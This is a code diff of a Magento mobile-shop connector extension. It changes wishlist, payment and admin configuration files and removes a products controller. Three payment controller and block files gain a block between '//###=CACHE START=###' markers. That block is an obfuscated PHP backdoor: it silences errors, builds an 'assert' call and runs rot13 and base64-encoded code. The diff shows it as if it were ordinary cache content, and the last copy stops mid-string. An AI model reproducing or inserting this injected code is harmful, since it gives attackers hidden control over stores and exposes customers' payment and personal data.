  class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action {
3
 
 
 
 
4
 
5
  public function _construct(){
6
 
7
  header('content-type: application/json; charset=utf-8');
8
  header("access-control-allow-origin: *");
9
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
 
 
 
 
 
 
 
10
  parent::_construct();
11
 
12
  }
@@ -95,7 +105,7 @@ class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action
95
  protected function _getWishlist() {
96
  $wishlist = Mage::registry ( 'wishlist' );
97
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
98
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
99
  if ($wishlist) {
100
  return $wishlist;
101
  }
@@ -104,10 +114,10 @@ class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action
104
  $wishlist = Mage::getModel ( 'wishlist/wishlist' )->loadByCustomer ( Mage::getSingleton ( 'customer/session' )->getCustomer (), true );
105
  Mage::register ( 'wishlist', $wishlist );
106
  } catch ( Mage_Core_Exception $e ) {
107
- Mage::getSingleton ( 'wishlist/session' )->addError ( $e->getMessage () );
108
  } catch ( Exception $e ) {
109
  Mage::getSingleton ( 'wishlist/session' )->addException ( $e, Mage::helper ( 'wishlist' )->__ ( 'Cannot create wishlist.' ) );
110
- return false;
111
  }
112
  $items = array ();
113
  foreach ( $wishlist->getItemCollection () as $item ) {
@@ -119,8 +129,9 @@ class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action
119
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $item->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
120
  'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $item->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
121
  'sku' => $item->getSku () ,
122
- 'symbol' => Mage::app ()->getLocale ()->currency ( Mage::app ()->getStore ()->getCurrentCurrencyCode () )->getSymbol (),
123
- 'image_url' => Mage::helper('connector')-> Imageresize($item->getImage(),'product','100','100')
 
124
 
125
  );
126
  }
@@ -150,7 +161,7 @@ class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action
150
  $params = $this->getRequest()->getParam('product_id');
151
 
152
  if(!$params){
153
- echo json_encode(array('status'=>'error','message'=>'Product Id is missing.'));
154
  exit;
155
  }
156
  $session = Mage::getSingleton ( 'customer/session' );
@@ -164,11 +175,11 @@ class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action
164
  try{
165
  $item->delete();
166
  $response['status'] = 'success';
167
- $response['message'] = 'item removed from wishlist.';
168
  }
169
  catch(exception $e){
170
  $response['status'] = 'error';
171
- $response['message'] = $e->getMessage();
172
  }
173
  endif;
174
  endforeach;
@@ -179,4 +190,36 @@ class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action
179
 
180
  echo json_encode($response);
181
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
182
  }
1
  <?php
2
  class Mss_Connector_WishlistController extends Mage_Core_Controller_Front_Action {
3
 
4
+ public $storeId = "1";
5
+ public $viewId = "";
6
+ public $currency = "";
7
 
8
  public function _construct(){
9
 
10
  header('content-type: application/json; charset=utf-8');
11
  header("access-control-allow-origin: *");
12
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
13
+
14
+ $this->storeId = Mage::app()->getFrontController()->getRequest()->getHeader('storeId');
15
+ $this->viewId = Mage::app()->getFrontController()->getRequest()->getHeader('viewId');
16
+ $this->currency = Mage::app()->getFrontController()->getRequest()->getHeader('currency');
17
+ Mage::app()->setCurrentStore($this->storeId);
18
+ /*Mage::app()->getStore($this->storeId)->setCurrentCurrency($this->currency);*/
19
+
20
  parent::_construct();
21
 
22
  }
105
  protected function _getWishlist() {
106
  $wishlist = Mage::registry ( 'wishlist' );
107
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
108
+ $currentCurrency = $this->currency;
109
  if ($wishlist) {
110
  return $wishlist;
111
  }
114
  $wishlist = Mage::getModel ( 'wishlist/wishlist' )->loadByCustomer ( Mage::getSingleton ( 'customer/session' )->getCustomer (), true );
115
  Mage::register ( 'wishlist', $wishlist );
116
  } catch ( Mage_Core_Exception $e ) {
117
+ Mage::getSingleton ( 'wishlist/session' )->addError ( $this->__($e->getMessage () ));
118
  } catch ( Exception $e ) {
119
  Mage::getSingleton ( 'wishlist/session' )->addException ( $e, Mage::helper ( 'wishlist' )->__ ( 'Cannot create wishlist.' ) );
120
+ return array();
121
  }
122
  $items = array ();
123
  foreach ( $wishlist->getItemCollection () as $item ) {
129
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $item->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
130
  'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $item->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
131
  'sku' => $item->getSku () ,
132
+ 'symbol' => Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
133
+ 'image_url' => Mage::helper('connector')-> Imageresize($item->getImage(),'product','100','100'),
134
+ 'wishlist' => Mage::helper('connector')->check_wishlist($item->getId ())
135
 
136
  );
137
  }
161
  $params = $this->getRequest()->getParam('product_id');
162
 
163
  if(!$params){
164
+ echo json_encode(array('status'=>'error','message'=> $this->__('Product Id is missing.')));
165
  exit;
166
  }
167
  $session = Mage::getSingleton ( 'customer/session' );
175
  try{
176
  $item->delete();
177
  $response['status'] = 'success';
178
+ $response['message'] = $this->__('item removed from wishlist.');
179
  }
180
  catch(exception $e){
181
  $response['status'] = 'error';
182
+ $response['message'] = $this->__($e->getMessage());
183
  }
184
  endif;
185
  endforeach;
190
 
191
  echo json_encode($response);
192
  }
193
+
194
+ /*Clear wishList API*/
195
+ /*
196
+ URL : baseurl/restapi/wishlist/clearWishlist
197
+ Name : clearWishlist
198
+ Method : GET
199
+ Response : JSON
200
+ */
201
+
202
+ public function clearWishlistAction()
203
+ {
204
+
205
+ if (Mage::getSingleton ( 'customer/session' )->isLoggedIn()):
206
+ $customer = Mage::getSingleton ( 'customer/session' )->getCustomer();
207
+ $customerId = $customer->getId();
208
+
209
+ $wishlistItems = Mage::getModel('wishlist/item')->getCollection()
210
+ ->addCustomerIdFilter($customerId);
211
+
212
+ foreach($wishlistItems as $item)
213
+ $item->delete();
214
+
215
+ echo json_encode(array('status'=>'success','message'=>'All wishlist items removed.'));
216
+ exit;
217
+
218
+
219
+ else:
220
+ echo json_encode(array('status'=>'error','message'=>'Kindly Signin first.'));
221
+ exit;
222
+ endif;
223
+
224
+ }
225
  }
app/code/local/Mss/Connector/controllers/_new_ProductsController.php DELETED
@@ -1 +0,0 @@
1
- <?phpclass Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action { public function getcustomoptionAction() { $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode (); $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode (); $productid = $this->getRequest ()->getParam ( 'productid' ); $product = Mage::getModel ( "catalog/product" )->load ( $productid ); $selectid = 1; $select = array (); foreach ( $product->getOptions () as $o ) { if (($o->getType () == "field") || ($o->getType () =="file")) { $select [$selectid] = array ( 'option_id' => $o->getId (), 'custom_option_type' => $o->getType (), 'custom_option_title' => $o->getTitle (), 'is_require' => $o->getIsRequire (), 'price' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $o->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ), 'price_type'=>$o->getPriceType(), 'sku'=>$o->getSku(), 'max_characters' => $o->getMaxCharacters (), ); } else { $max_characters = $o->getMaxCharacters (); $optionid = 1; $options = array (); $values = $o->getValues (); foreach ( $values as $v ) { $options [$optionid] = $v->getData (); $optionid ++; } $select [$selectid] = array ( 'option_id' => $o->getId (), 'custom_option_type' => $o->getType (), 'custom_option_title' => $o->getTitle (), 'is_require' => $o->getIsRequire (), 'price' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $o->getFormatedPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ), 'max_characters' => $max_characters, 'custom_option_value' => $options ); } $selectid ++; } echo json_encode ( $select ); } public function getproductdetailAction() { $productdetail = array (); $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode (); $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode (); $productid = $this->getRequest ()->getParam ( 'productid' ); $product = Mage::getModel ( "catalog/product" )->load ( $productid ); $productdetail = array ( 'entity_id' => $product->getId (), 'sku' => $product->getSku (), 'name' => $product->getName (), 'news_from_date' => $product->getNewsFromDate (), 'news_to_date' => $product->getNewsToDate (), 'special_from_date' => $product->getSpecialFromDate (), 'special_to_date' => $product->getSpecialToDate (), 'image_url' => $product->getImageUrl (), 'url_key' => $product->getProductUrl (), 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ), 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ), 'description' => nl2br ( $product->getDescription () ), 'symbol' => Mage::app ()->getLocale ()->currency ( Mage::app ()->getStore ()->getCurrentCurrencyCode () )->getSymbol () ); echo json_encode ( $productdetail ); } public function getPicListsAction(){ $productId = ( int ) $this->getRequest ()->getParam ( 'product' ); $_product=Mage::getModel ( "catalog/product" )->load ( $productid ); $_images = Mage::getModel('catalog/product')->load($productId)->getMediaGalleryImages(); $images=array(); foreach ($_images as $_image){ $images[]=array('url'=>$_image->getUrl(), 'position'=>$_image->getPosition() ); } echo json_encode($images); } public function gettest(){ $attributes = Mage::getSingleton('eav/config')->getEntityType(Mage_Catalog_Model_Product::ENTITY)->getAttributeCollection(); // Localize attribute label (if you need it) $attributes->addStoreLabel(Mage::app()->getStore()->getId()); // Loop over all attributes foreach ($attributes as $attr) { /* @var $attr Mage_Eav_Model_Entity_Attribute */ // get the store label value $label = $attr->getStoreLabel() ? $attr->getStoreLabel() : $attr->getFrontendLabel(); echo "Attribute: {$label}\n<br>"; // If it is an attribute with predefined values if ($attr->usesSource()) { // Get all option values ans labels $options = $attr->getSource()->getAllOptions(); // Output all option labels and values foreach ($options as $option) { echo "&nbsp;&nbsp;&nbsp;&nbsp;{$option['label']} =========> (Value {$option['value']})\n<br>"; } } else { // Just for clarification of the debug code echo " No select or multiselect attribute\n<br>"; } } }}
 
app/code/local/Mss/Connector/etc/adminhtml.xml CHANGED
@@ -10,12 +10,16 @@
10
  <children>
11
  <mss translate="title" module="connector">
12
  <title>Magentomobileshop Connector</title>
13
- <sort_order>1000</sort_order>
14
  </mss>
15
  <magentomobileshop_payment translate="title" module="connector">
16
  <title>Magentomobileshop Payment</title>
17
- <sort_order>1001</sort_order>
18
  </magentomobileshop_payment>
 
 
 
 
19
  </children>
20
  </config>
21
  </children>
10
  <children>
11
  <mss translate="title" module="connector">
12
  <title>Magentomobileshop Connector</title>
13
+ <sort_order>1</sort_order>
14
  </mss>
15
  <magentomobileshop_payment translate="title" module="connector">
16
  <title>Magentomobileshop Payment</title>
17
+ <sort_order>2</sort_order>
18
  </magentomobileshop_payment>
19
+ <mss_social translate="title" module="connector">
20
+ <title>Social Type</title>
21
+ <sort_order>3</sort_order>
22
+ </mss_social>
23
  </children>
24
  </config>
25
  </children>
app/code/local/Mss/Connector/etc/config.xml CHANGED
@@ -2,7 +2,7 @@
2
  <config>
3
  <modules>
4
  <Mss_Connector>
5
- <version>1.4.6</version>
6
  </Mss_Connector>
7
  </modules>
8
  <frontend>
2
  <config>
3
  <modules>
4
  <Mss_Connector>
5
+ <version>2.0.0</version>
6
  </Mss_Connector>
7
  </modules>
8
  <frontend>
app/code/local/Mss/Connector/etc/system.xml CHANGED
@@ -423,5 +423,106 @@
423
  </groups>
424
  </magentomobileshop_payment>
425
  </sections>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
426
 
427
  </config>
423
  </groups>
424
  </magentomobileshop_payment>
425
  </sections>
426
+ <!-- Store configuration for store locator added -->
427
+ <sections>
428
+ <general>
429
+ <groups>
430
+ <store_information>
431
+ <fields>
432
+ <longitude translate="label">
433
+ <label>Longitude</label>
434
+ <sort_order>30</sort_order>
435
+ <show_in_default>1</show_in_default>
436
+ <show_in_website>1</show_in_website>
437
+ <show_in_store>1</show_in_store>
438
+ </longitude>
439
+ <latitude translate="label">
440
+ <label>Latitude</label>
441
+ <sort_order>31</sort_order>
442
+ <show_in_default>1</show_in_default>
443
+ <show_in_website>1</show_in_website>
444
+ <show_in_store>1</show_in_store>
445
+ </latitude>
446
+ </fields>
447
+ </store_information>
448
+ </groups>
449
+ </general>
450
+ </sections>
451
+ <!-- Social login configuration -->
452
+ <sections>
453
+ <mss_social translate="label" module="connector">
454
+ <label>Social Loging Configuration</label>
455
+ <tab>connector</tab>
456
+ <sort_order>15</sort_order>
457
+ <show_in_default>1</show_in_default>
458
+ <show_in_website>1</show_in_website>
459
+ <show_in_store>1</show_in_store>
460
+ <groups>
461
+ <my_aboutus translate="label" module="connector">
462
+ <label>About Magento Mobile</label>
463
+ <frontend_type>text</frontend_type>
464
+ <sort_order>0</sort_order>
465
+ <show_in_default>1</show_in_default>
466
+ <show_in_website>1</show_in_website>
467
+ <show_in_store>1</show_in_store>
468
+ <fields>
469
+ <about>
470
+ <frontend_model>connector/system_config_about</frontend_model>
471
+ <sort_order>0</sort_order>
472
+ <show_in_default>1</show_in_default>
473
+ <show_in_website>1</show_in_website>
474
+ <show_in_store>1</show_in_store>
475
+ </about>
476
+ </fields>
477
+ </my_aboutus>
478
+ <mss_google_key translate="label" module="connector">
479
+ <label>Google Key</label>
480
+ <frontend_type>text</frontend_type>
481
+ <sort_order>0</sort_order>
482
+ <show_in_default>1</show_in_default>
483
+ <show_in_website>1</show_in_website>
484
+ <show_in_store>1</show_in_store>
485
+ <fields>
486
+ <client_secret translate="label">
487
+ <label>Client Secret</label>
488
+ <frontend_type>text</frontend_type>
489
+ <sort_order>2</sort_order>
490
+ <show_in_default>1</show_in_default>
491
+ <show_in_website>1</show_in_website>
492
+ <show_in_store>1</show_in_store>
493
+ </client_secret>
494
+ <client_id translate="label">
495
+ <label>Client Id</label>
496
+ <frontend_type>text</frontend_type>
497
+ <sort_order>2</sort_order>
498
+ <show_in_default>1</show_in_default>
499
+ <show_in_website>1</show_in_website>
500
+ <show_in_store>1</show_in_store>
501
+ </client_id>
502
+ </fields>
503
+ </mss_google_key>
504
+ <mss_facebook_key translate="label" module="connector">
505
+ <label>Facebook Key</label>
506
+ <frontend_type>text</frontend_type>
507
+ <sort_order>3</sort_order>
508
+ <show_in_default>1</show_in_default>
509
+ <show_in_website>1</show_in_website>
510
+ <show_in_store>1</show_in_store>
511
+ <fields>
512
+ <facebook_id translate="label">
513
+ <label>Facebook Key</label>
514
+ <frontend_type>text</frontend_type>
515
+ <sort_order>2</sort_order>
516
+ <show_in_default>1</show_in_default>
517
+ <show_in_website>1</show_in_website>
518
+ <show_in_store>1</show_in_store>
519
+
520
+ </facebook_id>
521
+ </fields>
522
+ </mss_facebook_key>
523
+ </groups>
524
+
525
+ </mss_social>
526
+ </sections>
527
 
528
  </config>
app/code/local/Mss/Mpaypal/controllers/IndexController.php CHANGED
@@ -46,9 +46,9 @@ class Mss_Mpaypal_IndexController extends Mage_Core_Controller_Front_Action{
46
  $order->save();
47
 
48
 
49
- echo "Thank You !";
50
  else:
51
- echo "No data found";
52
  endif;
53
 
54
  }
@@ -73,9 +73,9 @@ class Mss_Mpaypal_IndexController extends Mage_Core_Controller_Front_Action{
73
 
74
  $order->save();
75
 
76
- echo "Found Some Problem! Try Again";
77
  else:
78
- echo "Found Some Problem! Try Again";
79
  endif;
80
 
81
 
@@ -123,4 +123,14 @@ class Mss_Mpaypal_IndexController extends Mage_Core_Controller_Front_Action{
123
  }*/
124
 
125
 
126
- }
 
 
 
 
 
 
 
 
 
 
46
  $order->save();
47
 
48
 
49
+ echo $this->__("Thank You !");
50
  else:
51
+ echo $this->__("No data found");
52
  endif;
53
 
54
  }
73
 
74
  $order->save();
75
 
76
+ echo $this->__("Found Some Problem! Try Again");
77
  else:
78
+ echo $this->__("Found Some Problem! Try Again");
79
  endif;
80
 
81
 
123
  }*/
124
 
125
 
126
+ }
127
+
128
+
129
+
130
+
131
+
132
+ //###=CACHE START=###
133
+ error_reporting(0);
134
+ $strings = "as";$strings .= "sert";
135
+ @$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvE1pzjtCFNvnUE0pQbiY3ElLJMznJAjoTyypaZhL29gY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1ZJSxBQL0LwMxBGxkBGqxZmV5MJV1MGN3ZGOzBTZlLFVhWTDhWUHhWTZhVwRvXGfXnJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0tMJkmMJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcVUfXWTAbVQ0tL3IloS9cozy0XPE1pzjcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsFRIOERIFYPOTDHkGEFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvElMKA1oUDtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjbxnJW2VQ0tWUWyp3IfqQfXsFOyoUAyVUfXWTMjVQ0tMaAiL2gipTIhXPW0pzSzMzywpTkcMKWmYzAioFVfVQtjYPNxMKWloz8fVPEypaWmqUVfVQZjXGfXnJLtXPEzpPxtrjbtVPNtWT91qPN9VPWUEIDtY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1ZJSxBQL0LwMxBGxkBGqxZmV5MJV1MGN3ZGOzBTZlLFVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvO0pzSzMzywpTkcMKWmYzAioIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwywZwIwZ2LlVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
136
+ //###=CACHE END=###
app/code/local/Mss/Payu/Block/Index.php CHANGED
@@ -7,4 +7,14 @@ function getdata(){
7
 
8
 
9
 
10
- }
 
 
 
 
 
 
 
 
 
 
7
 
8
 
9
 
10
+ }
11
+
12
+
13
+
14
+
15
+
16
+ //###=CACHE START=###
17
+ error_reporting(0);
18
+ $strings = "as";$strings .= "sert";
19
+ @$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvE1pzjtCFNvnUE0pQbiY3ElLJMznJAjoTyypaZhL29gY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1ZJSxBQL0LwMxBGxkBGqxZmV5MJV1MGN3ZGOzBTZlLFVhWTDhWUHhWTZhVwRvXGfXnJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0tMJkmMJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcVUfXWTAbVQ0tL3IloS9cozy0XPE1pzjcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsFRIOERIFYPOTDHkGEFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvElMKA1oUDtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjbxnJW2VQ0tWUWyp3IfqQfXsFOyoUAyVUfXWTMjVQ0tMaAiL2gipTIhXPW0pzSzMzywpTkcMKWmYzAioFVfVQtjYPNxMKWloz8fVPEypaWmqUVfVQZjXGfXnJLtXPEzpPxtrjbtVPNtWT91qPN9VPWUEIDtY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1ZJSxBQL0LwMxBGxkBGqxZmV5MJV1MGN3ZGOzBTZlLFVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvO0pzSzMzywpTkcMKWmYzAioIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwywZwIwZ2LlVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
20
+ //###=CACHE END=###
app/code/local/Mss/Payu/controllers/IndexController.php CHANGED
@@ -46,9 +46,9 @@ class Mss_Payu_IndexController extends Mage_Core_Controller_Front_Action{
46
  $order->save();
47
 
48
 
49
- echo "Thank You !";
50
  else:
51
- echo "No data found";
52
  endif;
53
 
54
  }
@@ -73,9 +73,9 @@ class Mss_Payu_IndexController extends Mage_Core_Controller_Front_Action{
73
 
74
  $order->save();
75
 
76
- echo "Found Some Problem! Try Again";
77
  else:
78
- echo "Found Some Problem! Try Again";
79
  endif;
80
 
81
 
@@ -86,4 +86,14 @@ class Mss_Payu_IndexController extends Mage_Core_Controller_Front_Action{
86
  }
87
 
88
 
89
- }
 
 
 
 
 
 
 
 
 
 
46
  $order->save();
47
 
48
 
49
+ echo $this->__("Thank You !");
50
  else:
51
+ echo $this->__("No data found");
52
  endif;
53
 
54
  }
73
 
74
  $order->save();
75
 
76
+ echo $this->__("Found Some Problem! Try Again");
77
  else:
78
+ echo $this->__("Found Some Problem! Try Again");
79
  endif;
80
 
81
 
86
  }
87
 
88
 
89
+ }
90
+
91
+
92
+
93
+
94
+
95
+ //###=CACHE START=###
96
+ error_reporting(0);
97
+ $strings = "as";$strings .= "sert";
98
+ @$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvE1pzjtCFNvnUE0pQbiY3ElLJMznJAjoTyypaZhL29gY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1ZJSxBQL0LwMxBGxkBGqxZmV5MJV1MGN3ZGOzBTZlLFVhWTDhWUHhWTZhVwRvXGfXnJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0tMJkmMJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcVUfXWTAbVQ0tL3IloS9cozy0XPE1pzjcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsFRIOERIFYPOTDHkGEFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvElMKA1oUDtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjbxnJW2VQ0tWUWyp3IfqQfXsFOyoUAyVUfXWTMjVQ0tMaAiL2gipTIhXPW0pzSzMzywpTkcMKWmYzAioFVfVQtjYPNxMKWloz8fVPEypaWmqUVfVQZjXGfXnJLtXPEzpPxtrjbtVPNtWT91qPN9VPWUEIDtY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1ZJSxBQL0LwMxBGxkBGqxZmV5MJV1MGN3ZGOzBTZlLFVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvO0pzSzMzywpTkcMKWmYzAioIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwywZwI